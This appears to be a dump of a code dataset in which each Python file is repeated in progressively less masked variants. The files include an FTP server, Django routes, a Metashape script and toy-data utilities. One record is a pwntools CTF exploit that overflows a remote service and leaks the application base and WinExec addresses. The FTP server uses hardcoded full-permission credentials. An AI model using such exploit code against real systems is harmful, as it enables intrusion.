format='(ServidorTCP) %(message)s')\n address = '127.0.0.1', 2121\n server = FTPServer(address, handler)\n server.max_cons = 10\n server.max_cons_per_ip = 5\n server.serve_forever()\n\n\nif __name__ == '__main__':\n print('Servidor a la escucha')\n main()\n", "step-5": "from pyftpdlib.authorizers import DummyAuthorizer # Autorizaciones\nfrom pyftpdlib.handlers import FTPHandler # Comandos del usuario\nfrom pyftpdlib.servers import FTPServer # Creacion del servidor\nimport logging\nimport os \n\ndef main():\n # Instancia un autorizador dummy para controlar usuarios \"virtuales\"\n authorizer = DummyAuthorizer()\n\n # Define un nuevo usuario teniendo todos los permisos y otro para usuarios de solo lectura\n authorizer.add_user('user', '12345', '.', perm='elradfmwMT')\n authorizer.add_anonymous(os.getcwd()) # Obtener la direcccion del archivo actual\n\n # Instancia una clase controladora de FTP\n handler = FTPHandler\n handler.authorizer = authorizer\n\n # Define un string predeterminado que se envia al cliente cuando se conecte\n handler.banner = 'pyftpdlib basado en FTP, listo'\n\n # Informacion sobre las conexiones y acciones dentro de la carpeta\n # logging.basicConfig(filename='pyftpd.log', level=logging.INFO)\n logging.basicConfig(level=logging.INFO, format='(ServidorTCP) %(message)s',)\n # Instancia una clase servidor FTP\n address = ('127.0.0.1', 2121) # Direccion IP y puerto de escucha del servidor (puerto por default 21)\n server = FTPServer(address, handler) # Se crea el socket\n\n # configura un limite de conexiones\n server.max_cons = 10 # Numero maximo de conexiones simultanesas\n server.max_cons_per_ip = 5 # Numero maximo de conexiones aceptadas por la misma dirección IP (default=0 (sin limite))\n\n # Inicia el servidor FTP\n server.serve_forever() # (timeout=None, blocking=True, handle_exit=True)\n\nif __name__ == '__main__':\n print(\"Servidor a la escucha\")\n main()", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
from django.urls import path from . import views # . current directory urlpatterns = [ path("", views.index, name="index"), path("login", views.login_view, name="login"), path("logout", views.logout_view, name="logout"), path("menu", views.menu, name="menu"), path("add_item", views.add_item, name="add_item"), path("confirm_order", views.confirm_order, name="confirm_order") ]
normal
{ "blob_id": "9be6940fc6f405db652d478f9a74fcf56d8a0ad7", "index": 3470, "step-1": "<mask token>\n", "step-2": "<mask token>\nurlpatterns = [path('', views.index, name='index'), path('login', views.\n login_view, name='login'), path('logout', views.logout_view, name=\n 'logout'), path('menu', views.menu, name='menu'), path('add_item',\n views.add_item, name='add_item'), path('confirm_order', views.\n confirm_order, name='confirm_order')]\n", "step-3": "from django.urls import path\nfrom . import views\nurlpatterns = [path('', views.index, name='index'), path('login', views.\n login_view, name='login'), path('logout', views.logout_view, name=\n 'logout'), path('menu', views.menu, name='menu'), path('add_item',\n views.add_item, name='add_item'), path('confirm_order', views.\n confirm_order, name='confirm_order')]\n", "step-4": "from django.urls import path\nfrom . import views # . current directory\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"login\", views.login_view, name=\"login\"),\n path(\"logout\", views.logout_view, name=\"logout\"),\n path(\"menu\", views.menu, name=\"menu\"),\n path(\"add_item\", views.add_item, name=\"add_item\"),\n path(\"confirm_order\", views.confirm_order, name=\"confirm_order\")\n]", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
#!/usr/bin/python # -*- coding: utf-8 -*- ''' Aplicação H2HC criado para CTF Exploit criado por M4v3r1ck (helvio_junior[at]hotmail[dot]com) ''' from pwn import * import os context(arch='amd64', os='windows', log_level='debug') host= "192.168.255.201" port = 54345 # Estágio 1 log.info("Enviando estágio 1") payload1 = "H2HC" #cookie payload1 += "\xff\x00\x00\x00" #size to trigger the vul payload1 += "\x41" * 0xff payload1 += "\n" p = remote(host, port) p.send(payload1) p.recv(4096) p.close() # Estágio 2 log.info("Enviando estágio 2") payload2 = "H2HC" payload2 += "\xff\x00\x00\x00" payload2 += "A" * 0x100 payload2 += "\x04\x09\x00\x00" p1 = remote(host, port) p1.send(payload2) p1.recvuntil("H2HC19 message:") #Leak de um endereço no próprio fluxo de execução da aplicação (Sessão .text) p1.recv(0x10d) ld1 = p1.recv(8) leak_local_addr = u64(ld1.ljust(8, "\x00")) base_addr = leak_local_addr & 0xffffffffffff0000 log.info("Local leak : %s" % hex(leak_local_addr)) log.info("App Base Addr : %s" % hex(base_addr)) # Leak do endereço da função WinExec p1.recv(0x7f0) #offset entre a posição zero até o 90 f0 7e 0a fa 7f lead_data = p1.recv(8) p1.recv(4096) leak = u64(lead_data.ljust(8, "\x00")) log.info("WinExec addr leak : %s" % hex(leak))
normal
{ "blob_id": "4fff64a62776a9d1b06cc11d5e55fc00f6787338", "index": 8128, "step-1": "<mask token>\n", "step-2": "<mask token>\ncontext(arch='amd64', os='windows', log_level='debug')\n<mask token>\nlog.info('Enviando estágio 1')\n<mask token>\npayload1 += 'ÿ\\x00\\x00\\x00'\npayload1 += 'A' * 255\npayload1 += '\\n'\n<mask token>\np.send(payload1)\np.recv(4096)\np.close()\nlog.info('Enviando estágio 2')\n<mask token>\npayload2 += 'ÿ\\x00\\x00\\x00'\npayload2 += 'A' * 256\npayload2 += '\\x04\\t\\x00\\x00'\n<mask token>\np1.send(payload2)\np1.recvuntil('H2HC19 message:')\np1.recv(269)\n<mask token>\nlog.info('Local leak : %s' % hex(leak_local_addr))\nlog.info('App Base Addr : %s' % hex(base_addr))\np1.recv(2032)\n<mask token>\np1.recv(4096)\n<mask token>\nlog.info('WinExec addr leak : %s' % hex(leak))\n", "step-3": "<mask token>\ncontext(arch='amd64', os='windows', log_level='debug')\nhost = '192.168.255.201'\nport = 54345\nlog.info('Enviando estágio 1')\npayload1 = 'H2HC'\npayload1 += 'ÿ\\x00\\x00\\x00'\npayload1 += 'A' * 255\npayload1 += '\\n'\np = remote(host, port)\np.send(payload1)\np.recv(4096)\np.close()\nlog.info('Enviando estágio 2')\npayload2 = 'H2HC'\npayload2 += 'ÿ\\x00\\x00\\x00'\npayload2 += 'A' * 256\npayload2 += '\\x04\\t\\x00\\x00'\np1 = remote(host, port)\np1.send(payload2)\np1.recvuntil('H2HC19 message:')\np1.recv(269)\nld1 = p1.recv(8)\nleak_local_addr = u64(ld1.ljust(8, '\\x00'))\nbase_addr = leak_local_addr & 18446744073709486080\nlog.info('Local leak : %s' % hex(leak_local_addr))\nlog.info('App Base Addr : %s' % hex(base_addr))\np1.recv(2032)\nlead_data = p1.recv(8)\np1.recv(4096)\nleak = u64(lead_data.ljust(8, '\\x00'))\nlog.info('WinExec addr leak : %s' % hex(leak))\n", "step-4": "<mask token>\nfrom pwn import *\nimport os\ncontext(arch='amd64', os='windows', log_level='debug')\nhost = '192.168.255.201'\nport = 54345\nlog.info('Enviando estágio 1')\npayload1 = 'H2HC'\npayload1 += 'ÿ\\x00\\x00\\x00'\npayload1 += 'A' * 255\npayload1 += '\\n'\np = remote(host, port)\np.send(payload1)\np.recv(4096)\np.close()\nlog.info('Enviando estágio 2')\npayload2 = 'H2HC'\npayload2 += 'ÿ\\x00\\x00\\x00'\npayload2 += 'A' * 256\npayload2 += '\\x04\\t\\x00\\x00'\np1 = remote(host, port)\np1.send(payload2)\np1.recvuntil('H2HC19 message:')\np1.recv(269)\nld1 = p1.recv(8)\nleak_local_addr = u64(ld1.ljust(8, '\\x00'))\nbase_addr = leak_local_addr & 18446744073709486080\nlog.info('Local leak : %s' % hex(leak_local_addr))\nlog.info('App Base Addr : %s' % hex(base_addr))\np1.recv(2032)\nlead_data = p1.recv(8)\np1.recv(4096)\nleak = u64(lead_data.ljust(8, '\\x00'))\nlog.info('WinExec addr leak : %s' % hex(leak))\n", "step-5": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n'''\nAplicação H2HC criado para CTF\nExploit criado por M4v3r1ck (helvio_junior[at]hotmail[dot]com)\n'''\n\nfrom pwn import *\nimport os\n \ncontext(arch='amd64', os='windows', log_level='debug')\n\nhost= \"192.168.255.201\"\nport = 54345\n\n# Estágio 1\nlog.info(\"Enviando estágio 1\")\npayload1 = \"H2HC\" #cookie \npayload1 += \"\\xff\\x00\\x00\\x00\" #size to trigger the vul\npayload1 += \"\\x41\" * 0xff\npayload1 += \"\\n\"\n\np = remote(host, port)\np.send(payload1)\np.recv(4096)\np.close()\n\n# Estágio 2\nlog.info(\"Enviando estágio 2\")\npayload2 = \"H2HC\" \npayload2 += \"\\xff\\x00\\x00\\x00\" \npayload2 += \"A\" * 0x100\npayload2 += \"\\x04\\x09\\x00\\x00\" \n\n\np1 = remote(host, port)\np1.send(payload2)\n\np1.recvuntil(\"H2HC19 message:\")\n\n\n#Leak de um endereço no próprio fluxo de execução da aplicação (Sessão .text)\np1.recv(0x10d) \nld1 = p1.recv(8)\nleak_local_addr = u64(ld1.ljust(8, \"\\x00\"))\n\nbase_addr = leak_local_addr & 0xffffffffffff0000\n\nlog.info(\"Local leak : %s\" % hex(leak_local_addr))\nlog.info(\"App Base Addr : %s\" % hex(base_addr))\n\n# Leak do endereço da função WinExec\np1.recv(0x7f0) #offset entre a posição zero até o 90 f0 7e 0a fa 7f \nlead_data = p1.recv(8)\np1.recv(4096)\n\nleak = u64(lead_data.ljust(8, \"\\x00\"))\n\nlog.info(\"WinExec addr leak : %s\" % hex(leak))\n\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
# # This source file is part of the EdgeDB open source project. # # Copyright 2016-present MagicStack Inc. and the EdgeDB authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from . import _base from ._base import * # NOQA class InternalError(_base.EdgeDBError): code = 'XX000' class EdgeDBBackendError(InternalError): code = 'XX001' class IntegrityConstraintViolationError(_base.EdgeDBError): code = '23000' class MissingRequiredPointerError(IntegrityConstraintViolationError): code = '23502' def __init__(self, msg, *, source_name=None, pointer_name=None): super().__init__(msg) self._attrs['s'] = source_name self._attrs['p'] = pointer_name class InvalidPointerTargetError(IntegrityConstraintViolationError): code = '23503' def __init__(self, msg): super().__init__(msg) class ConstraintViolationError(IntegrityConstraintViolationError): code = '23514' class PointerCardinalityViolationError(IntegrityConstraintViolationError): code = '23600' class EdgeDBSyntaxError(_base.EdgeDBError): code = '42600' class InvalidTransactionStateError(_base.EdgeDBError): code = '25000' class NoActiveTransactionError(InvalidTransactionStateError): code = '25P01'
normal
{ "blob_id": "b694c834555843cc31617c944fa873f15be2b9c5", "index": 9598, "step-1": "<mask token>\n\n\nclass IntegrityConstraintViolationError(_base.EdgeDBError):\n <mask token>\n\n\nclass MissingRequiredPointerError(IntegrityConstraintViolationError):\n code = '23502'\n\n def __init__(self, msg, *, source_name=None, pointer_name=None):\n super().__init__(msg)\n self._attrs['s'] = source_name\n self._attrs['p'] = pointer_name\n\n\nclass InvalidPointerTargetError(IntegrityConstraintViolationError):\n code = '23503'\n\n def __init__(self, msg):\n super().__init__(msg)\n\n\nclass ConstraintViolationError(IntegrityConstraintViolationError):\n code = '23514'\n\n\nclass PointerCardinalityViolationError(IntegrityConstraintViolationError):\n code = '23600'\n\n\nclass EdgeDBSyntaxError(_base.EdgeDBError):\n code = '42600'\n\n\nclass InvalidTransactionStateError(_base.EdgeDBError):\n code = '25000'\n\n\nclass NoActiveTransactionError(InvalidTransactionStateError):\n code = '25P01'\n", "step-2": "<mask token>\n\n\nclass IntegrityConstraintViolationError(_base.EdgeDBError):\n code = '23000'\n\n\nclass MissingRequiredPointerError(IntegrityConstraintViolationError):\n code = '23502'\n\n def __init__(self, msg, *, source_name=None, pointer_name=None):\n super().__init__(msg)\n self._attrs['s'] = source_name\n self._attrs['p'] = pointer_name\n\n\nclass InvalidPointerTargetError(IntegrityConstraintViolationError):\n code = '23503'\n\n def __init__(self, msg):\n super().__init__(msg)\n\n\nclass ConstraintViolationError(IntegrityConstraintViolationError):\n code = '23514'\n\n\nclass PointerCardinalityViolationError(IntegrityConstraintViolationError):\n code = '23600'\n\n\nclass EdgeDBSyntaxError(_base.EdgeDBError):\n code = '42600'\n\n\nclass InvalidTransactionStateError(_base.EdgeDBError):\n code = '25000'\n\n\nclass NoActiveTransactionError(InvalidTransactionStateError):\n code = '25P01'\n", "step-3": "<mask token>\n\n\nclass EdgeDBBackendError(InternalError):\n <mask token>\n\n\nclass IntegrityConstraintViolationError(_base.EdgeDBError):\n code = '23000'\n\n\nclass MissingRequiredPointerError(IntegrityConstraintViolationError):\n code = '23502'\n\n def __init__(self, msg, *, source_name=None, pointer_name=None):\n super().__init__(msg)\n self._attrs['s'] = source_name\n self._attrs['p'] = pointer_name\n\n\nclass InvalidPointerTargetError(IntegrityConstraintViolationError):\n code = '23503'\n\n def __init__(self, msg):\n super().__init__(msg)\n\n\nclass ConstraintViolationError(IntegrityConstraintViolationError):\n code = '23514'\n\n\nclass PointerCardinalityViolationError(IntegrityConstraintViolationError):\n code = '23600'\n\n\nclass EdgeDBSyntaxError(_base.EdgeDBError):\n code = '42600'\n\n\nclass InvalidTransactionStateError(_base.EdgeDBError):\n code = '25000'\n\n\nclass NoActiveTransactionError(InvalidTransactionStateError):\n code = '25P01'\n", "step-4": "from . import _base\nfrom ._base import *\n\n\nclass InternalError(_base.EdgeDBError):\n code = 'XX000'\n\n\nclass EdgeDBBackendError(InternalError):\n code = 'XX001'\n\n\nclass IntegrityConstraintViolationError(_base.EdgeDBError):\n code = '23000'\n\n\nclass MissingRequiredPointerError(IntegrityConstraintViolationError):\n code = '23502'\n\n def __init__(self, msg, *, source_name=None, pointer_name=None):\n super().__init__(msg)\n self._attrs['s'] = source_name\n self._attrs['p'] = pointer_name\n\n\nclass InvalidPointerTargetError(IntegrityConstraintViolationError):\n code = '23503'\n\n def __init__(self, msg):\n super().__init__(msg)\n\n\nclass ConstraintViolationError(IntegrityConstraintViolationError):\n code = '23514'\n\n\nclass PointerCardinalityViolationError(IntegrityConstraintViolationError):\n code = '23600'\n\n\nclass EdgeDBSyntaxError(_base.EdgeDBError):\n code = '42600'\n\n\nclass InvalidTransactionStateError(_base.EdgeDBError):\n code = '25000'\n\n\nclass NoActiveTransactionError(InvalidTransactionStateError):\n code = '25P01'\n", "step-5": "#\n# This source file is part of the EdgeDB open source project.\n#\n# Copyright 2016-present MagicStack Inc. and the EdgeDB authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\nfrom . import _base\nfrom ._base import * # NOQA\n\n\nclass InternalError(_base.EdgeDBError):\n code = 'XX000'\n\n\nclass EdgeDBBackendError(InternalError):\n code = 'XX001'\n\n\nclass IntegrityConstraintViolationError(_base.EdgeDBError):\n code = '23000'\n\n\nclass MissingRequiredPointerError(IntegrityConstraintViolationError):\n code = '23502'\n\n def __init__(self, msg, *, source_name=None, pointer_name=None):\n super().__init__(msg)\n self._attrs['s'] = source_name\n self._attrs['p'] = pointer_name\n\n\nclass InvalidPointerTargetError(IntegrityConstraintViolationError):\n code = '23503'\n\n def __init__(self, msg):\n super().__init__(msg)\n\n\nclass ConstraintViolationError(IntegrityConstraintViolationError):\n code = '23514'\n\n\nclass PointerCardinalityViolationError(IntegrityConstraintViolationError):\n code = '23600'\n\n\nclass EdgeDBSyntaxError(_base.EdgeDBError):\n code = '42600'\n\n\nclass InvalidTransactionStateError(_base.EdgeDBError):\n code = '25000'\n\n\nclass NoActiveTransactionError(InvalidTransactionStateError):\n code = '25P01'\n", "step-ids": [ 17, 18, 19, 23, 24 ] }
[ 17, 18, 19, 23, 24 ]
from string import maketrans def to_rna(str): strtrans = maketrans('ACGT', 'UGCA') return str.translate(strtrans)
normal
{ "blob_id": "aace7bc6684f4a9cec2f8fe270b5123a375780af", "index": 8059, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef to_rna(str):\n strtrans = maketrans('ACGT', 'UGCA')\n return str.translate(strtrans)\n", "step-3": "from string import maketrans\n\n\ndef to_rna(str):\n strtrans = maketrans('ACGT', 'UGCA')\n return str.translate(strtrans)\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
# This script created by Joseph Aaron Campbell - 10/2020 """ With Help from Agisoft Forum @: https://www.agisoft.com/forum/index.php?topic=12027.msg53791#msg53791 """ """ Set up Working Environment """ # import Metashape library module import Metashape # create a reference to the current project via Document Class doc = Metashape.app.document # set reference for the currently active chunk activeChunk = Metashape.app.document.chunk # get the current Chunks label ( name ) currentChunkLabel = activeChunk.label # get the current (saved) project's parent folder URL via python3 pathLib # this path variable is used when exporting the 3D model later in the script. # 'parent' will return the parent folder the project lives in # 'name' will return the saved project name and extension # 'stem' will return just the project name without extension from pathlib import Path parentFolderPath = str(Path(Metashape.app.document.path).parent) print("parent Folder is : " + parentFolderPath) # set reference to the output folders as string outputFolder = Path(str(parentFolderPath) + "\\" + "_Output") outputChunkFolder = Path(str(outputFolder) + "\\" + "_" + str(currentChunkLabel)) outputMaskfolder = Path(str(outputChunkFolder) + "\\" + "_Masks") print("output folder: " + str(outputFolder)) print("output chunk folder: " + str(outputChunkFolder)) print("mask output folder is: " + str(outputMaskfolder)) # create an 'output' sub-folder for exported data from project # also create sub-folder for model export within 'output' sub-folder # this method will create the folder if doesnt exist, and also do nothing if it does exist Path(outputFolder).mkdir(exist_ok=True) Path(outputChunkFolder).mkdir(exist_ok=True) Path(outputMaskfolder).mkdir(exist_ok=True) # export masks to output mask folder # this uses the Metashape Task class, otherwise loop through every camera in chunk and save mask as image file # create a reference to the Tasks ExportMasks method mask_task = Metashape.Tasks.ExportMasks() # define which cameras to export masks for mask_task.cameras = activeChunk.cameras # define the output path for the exported mask files mask_task.path = str(str(outputMaskfolder) + "\\" + "{filename}.png") # activate the task for the active chunk to export the masks mask_task.apply(object=activeChunk)
normal
{ "blob_id": "dcfc6d76730ba3b33e64cc8f2c166f739bbde5ff", "index": 3655, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint('parent Folder is : ' + parentFolderPath)\n<mask token>\nprint('output folder: ' + str(outputFolder))\nprint('output chunk folder: ' + str(outputChunkFolder))\nprint('mask output folder is: ' + str(outputMaskfolder))\nPath(outputFolder).mkdir(exist_ok=True)\nPath(outputChunkFolder).mkdir(exist_ok=True)\nPath(outputMaskfolder).mkdir(exist_ok=True)\n<mask token>\nmask_task.apply(object=activeChunk)\n", "step-3": "<mask token>\ndoc = Metashape.app.document\nactiveChunk = Metashape.app.document.chunk\ncurrentChunkLabel = activeChunk.label\n<mask token>\nparentFolderPath = str(Path(Metashape.app.document.path).parent)\nprint('parent Folder is : ' + parentFolderPath)\noutputFolder = Path(str(parentFolderPath) + '\\\\' + '_Output')\noutputChunkFolder = Path(str(outputFolder) + '\\\\' + '_' + str(\n currentChunkLabel))\noutputMaskfolder = Path(str(outputChunkFolder) + '\\\\' + '_Masks')\nprint('output folder: ' + str(outputFolder))\nprint('output chunk folder: ' + str(outputChunkFolder))\nprint('mask output folder is: ' + str(outputMaskfolder))\nPath(outputFolder).mkdir(exist_ok=True)\nPath(outputChunkFolder).mkdir(exist_ok=True)\nPath(outputMaskfolder).mkdir(exist_ok=True)\nmask_task = Metashape.Tasks.ExportMasks()\nmask_task.cameras = activeChunk.cameras\nmask_task.path = str(str(outputMaskfolder) + '\\\\' + '{filename}.png')\nmask_task.apply(object=activeChunk)\n", "step-4": "<mask token>\nimport Metashape\ndoc = Metashape.app.document\nactiveChunk = Metashape.app.document.chunk\ncurrentChunkLabel = activeChunk.label\nfrom pathlib import Path\nparentFolderPath = str(Path(Metashape.app.document.path).parent)\nprint('parent Folder is : ' + parentFolderPath)\noutputFolder = Path(str(parentFolderPath) + '\\\\' + '_Output')\noutputChunkFolder = Path(str(outputFolder) + '\\\\' + '_' + str(\n currentChunkLabel))\noutputMaskfolder = Path(str(outputChunkFolder) + '\\\\' + '_Masks')\nprint('output folder: ' + str(outputFolder))\nprint('output chunk folder: ' + str(outputChunkFolder))\nprint('mask output folder is: ' + str(outputMaskfolder))\nPath(outputFolder).mkdir(exist_ok=True)\nPath(outputChunkFolder).mkdir(exist_ok=True)\nPath(outputMaskfolder).mkdir(exist_ok=True)\nmask_task = Metashape.Tasks.ExportMasks()\nmask_task.cameras = activeChunk.cameras\nmask_task.path = str(str(outputMaskfolder) + '\\\\' + '{filename}.png')\nmask_task.apply(object=activeChunk)\n", "step-5": "# This script created by Joseph Aaron Campbell - 10/2020\r\n\r\n\"\"\" With Help from Agisoft Forum @:\r\nhttps://www.agisoft.com/forum/index.php?topic=12027.msg53791#msg53791\r\n\"\"\"\r\n\r\n\"\"\" Set up Working Environment \"\"\"\r\n# import Metashape library module\r\nimport Metashape\r\n# create a reference to the current project via Document Class\r\ndoc = Metashape.app.document\r\n# set reference for the currently active chunk\r\nactiveChunk = Metashape.app.document.chunk\r\n\r\n# get the current Chunks label ( name )\r\ncurrentChunkLabel = activeChunk.label\r\n\r\n# get the current (saved) project's parent folder URL via python3 pathLib\r\n# this path variable is used when exporting the 3D model later in the script.\r\n# 'parent' will return the parent folder the project lives in\r\n# 'name' will return the saved project name and extension\r\n# 'stem' will return just the project name without extension\r\nfrom pathlib import Path\r\nparentFolderPath = str(Path(Metashape.app.document.path).parent)\r\nprint(\"parent Folder is : \" + parentFolderPath)\r\n\r\n# set reference to the output folders as string\r\noutputFolder = Path(str(parentFolderPath) + \"\\\\\" + \"_Output\")\r\noutputChunkFolder = Path(str(outputFolder) + \"\\\\\" + \"_\" + str(currentChunkLabel))\r\noutputMaskfolder = Path(str(outputChunkFolder) + \"\\\\\" + \"_Masks\")\r\n\r\nprint(\"output folder: \" + str(outputFolder))\r\nprint(\"output chunk folder: \" + str(outputChunkFolder))\r\nprint(\"mask output folder is: \" + str(outputMaskfolder))\r\n\r\n# create an 'output' sub-folder for exported data from project\r\n# also create sub-folder for model export within 'output' sub-folder\r\n# this method will create the folder if doesnt exist, and also do nothing if it does exist\r\nPath(outputFolder).mkdir(exist_ok=True)\r\nPath(outputChunkFolder).mkdir(exist_ok=True)\r\nPath(outputMaskfolder).mkdir(exist_ok=True)\r\n\r\n# export masks to output mask folder\r\n# this uses the Metashape Task class, otherwise loop through every camera in chunk and save mask as image file\r\n# create a reference to the Tasks ExportMasks method\r\nmask_task = Metashape.Tasks.ExportMasks()\r\n# define which cameras to export masks for\r\nmask_task.cameras = activeChunk.cameras\r\n# define the output path for the exported mask files\r\nmask_task.path = str(str(outputMaskfolder) + \"\\\\\" + \"{filename}.png\")\r\n# activate the task for the active chunk to export the masks\r\nmask_task.apply(object=activeChunk)\r\n\r\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
# 15650번 수열 2번째 n, m = list(map(int, input().split())) arr = [i for i in range(1,n+1)] check = [] def seq(ctn, array, l): if sorted(check) in array: return # if ctn == m: # # l+=1 # # print('ctn :',ctn,' check :',sorted(check)) # array.append(sorted(check)) # for k in range(m): # print(check[k], end = ' ') # print() # return for i in range(n): l += 1 check.append(arr[i]) seq(ctn+1, array, l) check.pop() print('l :',l,' i :',i) seq(0,[], 1)
normal
{ "blob_id": "dc5d56d65417dd8061a018a2f07132b03e2d616e", "index": 5127, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef seq(ctn, array, l):\n if sorted(check) in array:\n return\n for i in range(n):\n l += 1\n check.append(arr[i])\n seq(ctn + 1, array, l)\n check.pop()\n print('l :', l, ' i :', i)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef seq(ctn, array, l):\n if sorted(check) in array:\n return\n for i in range(n):\n l += 1\n check.append(arr[i])\n seq(ctn + 1, array, l)\n check.pop()\n print('l :', l, ' i :', i)\n\n\nseq(0, [], 1)\n", "step-4": "n, m = list(map(int, input().split()))\narr = [i for i in range(1, n + 1)]\ncheck = []\n\n\ndef seq(ctn, array, l):\n if sorted(check) in array:\n return\n for i in range(n):\n l += 1\n check.append(arr[i])\n seq(ctn + 1, array, l)\n check.pop()\n print('l :', l, ' i :', i)\n\n\nseq(0, [], 1)\n", "step-5": "# 15650번 수열 2번째\n\nn, m = list(map(int, input().split()))\n\narr = [i for i in range(1,n+1)]\ncheck = []\n\ndef seq(ctn, array, l):\n if sorted(check) in array:\n return\n # if ctn == m:\n # # l+=1\n # # print('ctn :',ctn,' check :',sorted(check))\n # array.append(sorted(check))\n # for k in range(m):\n # print(check[k], end = ' ')\n # print()\n # return\n\n for i in range(n):\n l += 1\n check.append(arr[i])\n seq(ctn+1, array, l)\n check.pop()\n print('l :',l,' i :',i)\n\n\nseq(0,[], 1)", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> def value(energy, noise, x, gen): logp_x = energy(x) logq_x = noise.log_prob(x).unsqueeze(1) logp_gen = energy(gen) logq_gen = noise.log_prob(gen).unsqueeze(1) ll_data = logp_x - torch.logsumexp(torch.cat([logp_x, logq_x], dim=1), dim=1, keepdim=True) ll_gen = logq_gen - torch.logsumexp(torch.cat([logp_gen, logq_gen], dim =1), dim=1, keepdim=True) v = ll_data.mean() + ll_gen.mean() r_x = torch.sigmoid(logp_x - logq_x) r_gen = torch.sigmoid(logq_gen - logp_gen) acc = ((r_x > 1 / 2).sum() + (r_gen > 1 / 2).sum()).cpu().numpy() / (len (x) + len(gen)) return -v, acc def get_data(args): dataset = sample_2d_data(dataset=args.dataset, n_samples=args.samples) dataloader = DataLoader(dataset, batch_size=args.batch, shuffle=True) return dataset, dataloader def sample_2d_data(dataset='8gaussians', n_samples=50000): z = torch.randn(n_samples, 2) if dataset == '8gaussians': scale = 4 sq2 = 1 / math.sqrt(2) centers = [(1, 0), (-1, 0), (0, 1), (0, -1), (sq2, sq2), (-sq2, sq2 ), (sq2, -sq2), (-sq2, -sq2)] centers = torch.tensor([(scale * x, scale * y) for x, y in centers]) return sq2 * (0.5 * z + centers[torch.randint(len(centers), size=( n_samples,))]) elif dataset == '2spirals': n = torch.sqrt(torch.rand(n_samples // 2)) * 540 * (2 * math.pi) / 360 d1x = -torch.cos(n) * n + torch.rand(n_samples // 2) * 0.5 d1y = torch.sin(n) * n + torch.rand(n_samples // 2) * 0.5 x = torch.cat([torch.stack([d1x, d1y], dim=1), torch.stack([-d1x, - d1y], dim=1)], dim=0) / 3 return x + 0.1 * z elif dataset == 'checkerboard': x1 = torch.rand(n_samples) * 4 - 2 x2_ = torch.rand(n_samples) - torch.randint(0, 2, (n_samples,), dtype=torch.float) * 2 x2 = x2_ + x1.floor() % 2 return torch.stack([x1, x2], dim=1) * 2 elif dataset == 'rings': n_samples4 = n_samples3 = n_samples2 = n_samples // 4 n_samples1 = n_samples - n_samples4 - n_samples3 - n_samples2 linspace4 = torch.linspace(0, 2 * math.pi, n_samples4 + 1)[:-1] linspace3 = torch.linspace(0, 2 * math.pi, n_samples3 + 1)[:-1] linspace2 = torch.linspace(0, 2 * math.pi, n_samples2 + 1)[:-1] linspace1 = torch.linspace(0, 2 * math.pi, n_samples1 + 1)[:-1] circ4_x = torch.cos(linspace4) circ4_y = torch.sin(linspace4) circ3_x = torch.cos(linspace4) * 0.75 circ3_y = torch.sin(linspace3) * 0.75 circ2_x = torch.cos(linspace2) * 0.5 circ2_y = torch.sin(linspace2) * 0.5 circ1_x = torch.cos(linspace1) * 0.25 circ1_y = torch.sin(linspace1) * 0.25 x = torch.stack([torch.cat([circ4_x, circ3_x, circ2_x, circ1_x]), torch.cat([circ4_y, circ3_y, circ2_y, circ1_y])], dim=1) * 3.0 x = x[torch.randint(0, n_samples, size=(n_samples,))] return x + torch.normal(mean=torch.zeros_like(x), std=0.08 * torch. ones_like(x)) elif dataset == 'pinwheel': rng = np.random.RandomState() radial_std = 0.3 tangential_std = 0.1 num_classes = 5 num_per_class = n_samples // 5 rate = 0.25 rads = np.linspace(0, 2 * np.pi, num_classes, endpoint=False) features = rng.randn(num_classes * num_per_class, 2) * np.array([ radial_std, tangential_std]) features[:, 0] += 1.0 labels = np.repeat(np.arange(num_classes), num_per_class) angles = rads[labels] + rate * np.exp(features[:, 0]) rotations = np.stack([np.cos(angles), -np.sin(angles), np.sin( angles), np.cos(angles)]) rotations = np.reshape(rotations.T, (-1, 2, 2)) data = 2 * rng.permutation(np.einsum('ti,tij->tj', features, rotations) ) return torch.as_tensor(data, dtype=torch.float32) else: raise RuntimeError('Invalid `dataset` to sample from.') <|reserved_special_token_0|> def setup_grid(range_lim, n_pts, device): x = torch.linspace(-range_lim, range_lim, n_pts) xx, yy = torch.meshgrid((x, x)) zz = torch.stack((xx.flatten(), yy.flatten()), dim=1) return xx, yy, zz.to(device) def plot_samples(dataset, ax, range_lim, n_pts): samples = dataset.numpy() ax.hist2d(samples[:, 0], samples[:, 1], range=[[-range_lim, range_lim], [-range_lim, range_lim]], bins=n_pts, cmap=plt.cm.jet) ax.set_title('Target samples') def plot_energy(energy, ax, test_grid, n_pts): xx, yy, zz = test_grid log_prob = energy(zz) prob = log_prob.exp().cpu() ax.pcolormesh(xx, yy, prob.view(n_pts, n_pts), cmap=plt.cm.jet) ax.set_facecolor(plt.cm.jet(0.0)) ax.set_title('Energy density') <|reserved_special_token_0|> def format_ax(ax, range_lim): ax.set_xlim(-range_lim, range_lim) 